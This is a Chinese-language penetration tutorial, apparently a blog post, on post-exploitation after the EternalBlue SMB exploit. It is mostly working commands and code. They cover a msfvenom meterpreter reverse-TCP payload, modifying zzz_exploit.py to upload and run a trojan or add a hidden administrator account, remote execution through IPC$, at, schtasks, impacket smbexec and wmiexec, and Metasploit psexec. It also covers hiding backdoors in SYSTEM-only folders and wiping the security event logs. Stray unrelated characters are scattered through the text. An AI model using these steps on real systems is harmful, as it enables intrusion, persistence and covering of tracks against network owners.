我們今天的故事拌消,從永恒之藍(lán)開始……
管道探測:
python2 checker.py 192.168.154.138
程序執(zhí)行:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.154.159 lport=4444 -f exe -o rabbit.exe
變更如下函數(shù),免殺處理后發(fā)送木馬到目標(biāo)指定目錄并執(zhí)行:
def smb_pwn(conn, arch):
smbConn = conn.get_smbconnection()
smb_send_file(smbConn, '/home/rabbit/rabbit.exe', 'C', '/Users/Public/rabbit.exe')
service_exec(conn, r'cmd /c c:\\Users\Public\rabbit.exe')
python zzz_exploit.py 192.168.154.138
腳本語法是需要管道名稱的,如不指定則自動(dòng)選擇,如下上傳并執(zhí)行成功最筒。
當(dāng)然颜凯,這里只是個(gè)例子,運(yùn)行的不一定是msf艘虎,自行替換。
賬戶控制
同樣咒吐,使用zzz_exploit.py
野建,函數(shù)變更如下新增賬戶:
def smb_pwn(conn, arch):
service_exec(conn, r'cmd /c net user shadow 1q2w3e4r! /add & net localgroup administrators shadow /add')
IPC$連接
#建立ipc$連接
net use \\192.168.15.180\ipc$ "1q2w3e4r!" /user:rabbitmask
#斷開全部連接
net use * /del /y
#將目標(biāo)C盤映射到本地的z盤,滲透測試一定不要做這個(gè)
net use z: \\IP\c$`
#把本地文件復(fù)制到目標(biāo)主機(jī)的共享目錄
copy C:\Users\RabbitMask\Desktop\rabbit.exe \\192.168.15.180\C$
#查看文件是否存在:
dir \\192.168.15.180\C$\rabbit.exe
#遠(yuǎn)程增加定時(shí)任務(wù):
at \\192.168.15.180 21:38:00 C:\rabbit.exe
#取消全部定時(shí)任務(wù)
at \\192.168.15.180 /delete /y
#查看當(dāng)前定時(shí)任務(wù)
at \\192.168.15.180
然而在我們的PC>win7版本時(shí),不再支持at
命令,替代方案為schtasks
:
#創(chuàng)建定時(shí)任務(wù)
schtasks /create /tn "test" /tr c:\rabbit.exe /sc once /st 10:02 /S 192.168.15.181 /RU System /u rabbitmask /p "1q2w3e4r!"
#查看當(dāng)前定時(shí)任務(wù)恬叹,如不加/tn test則查看全部
schtasks /Query /tn test /s 192.168.15.181 /u rabbitmask /p 1q2w3e4r!
#刪除掉剛剛增加的定時(shí)任務(wù)
schtasks /Delete /tn test /F /s 192.168.15.181 /u rabbitmask /p 1q2w3e4r!
#參數(shù)解釋
/create表示創(chuàng)建計(jì)劃任務(wù)
/tn表示任務(wù)名
/tr指定運(yùn)行的文件
/sc是任務(wù)運(yùn)行頻率
/st是執(zhí)行時(shí)間
/s指定遠(yuǎn)程機(jī)器名或ip地址
/ru指定運(yùn)行任務(wù)的用戶權(quán)限候生,這里指定為最高的SYSTEM
#查看遠(yuǎn)程目標(biāo)進(jìn)程列表:
tasklist /s 192.168.15.180 /u rabbitmask /p 1q2w3e4r!
#殺死pid為1000的進(jìn)程
taskkill /s 192.168.15.180 /f /pid 1000
#殺死名為rabbit.exe的進(jìn)程
taskkill /s 192.168.15.180 /f /im rabbit.exe
目錄選擇
為什么要單獨(dú)拿出目錄選擇來說道下呢,我們來看個(gè)比較绽昼,首先是administrator權(quán)限看到的C盤根目錄:
然后我們通過木馬的提升的system權(quán)限看一下:
可以看到其中有幾個(gè)目錄是用戶看不到的唯鸭,包括administrator,只有system擁有訪問權(quán)限硅确,這里就是后門最佳的隱藏地點(diǎn)肿孵。
其中System Volume Information
可寫作system~1
,不用擔(dān)心空格等問題:
會話獲取
既然已經(jīng)創(chuàng)建完賬號密碼了,想直接執(zhí)行命令的話ipc$其實(shí)并不太方便疏魏,我們直接smb登錄目標(biāo)停做。
為什么不用RDP?我也問過同樣的問題大莫,差點(diǎn)沒被內(nèi)網(wǎng)大佬噴死蛉腌,有些場合RDP確實(shí)風(fēng)險(xiǎn)極大,與君共勉。
這里安利個(gè)python的第三方庫impacket
項(xiàng)目地址:https://github.com/SecureAuthCorp/impacket
- smbexec
其中有個(gè)打包好的工具smbexec烙丛,這里賣個(gè)關(guān)子舅巷,這里會用到,后邊講PTH也會用到河咽。
python smbexec.py rabbitmask:1q2w3e4r!@192.168.15.181
這里我們已成功通過smb登錄目標(biāo)钠右,且權(quán)限為system,最后建議退出方式exit
忘蟹,否則可能有未知錯(cuò)誤飒房,嘗試指定下共享路徑。
python smbexec.py rabbitmask:1q2w3e4r!@192.168.15.181 -share admin$
這里插一句媚值,共享路徑是指的即邏輯共享(C$,D$,E$……
)和系統(tǒng)目錄(ADMIN$
)共享狠毯,可通過net share
了解:
- wmiexec
這是后來smbexec出現(xiàn)編碼bug,大佬推薦的另一款工具褥芒,同屬impacket
包嚼松,他的使用需要調(diào)用wmi
服務(wù),占用目標(biāo)的445锰扶、135和另一個(gè)隨機(jī)端口献酗,而smbexec只使用445端口,這一塊協(xié)議/服務(wù)底層問題感興趣的可以繼續(xù)深入研究坷牛。
python wmiexec.py rabbitmask:1q2w3e4r!@192.168.15.181
- msf_psexec
上述腳本在應(yīng)對某些目標(biāo)機(jī)是可能存在命令編碼問題罕偎,這可能是python環(huán)境導(dǎo)致的,所有提供個(gè)保底方案漓帅,msf锨亏。
use exploit/windows/smb/psexec
set rhosts 192.168.15.181
set smbuser rabbitmask
set smbpass 1q2w3e4r!
日志清理
適用范圍>=win7
wevtutil gl security
查看SECURITY日志的詳細(xì)信息
wevtutil cl security
清空SECURITY日志
同理可操作其他日志:APPLICATION
痴怨、SETUP
忙干、SYSTEM
、FORWARDEDEVENTS
浪藻。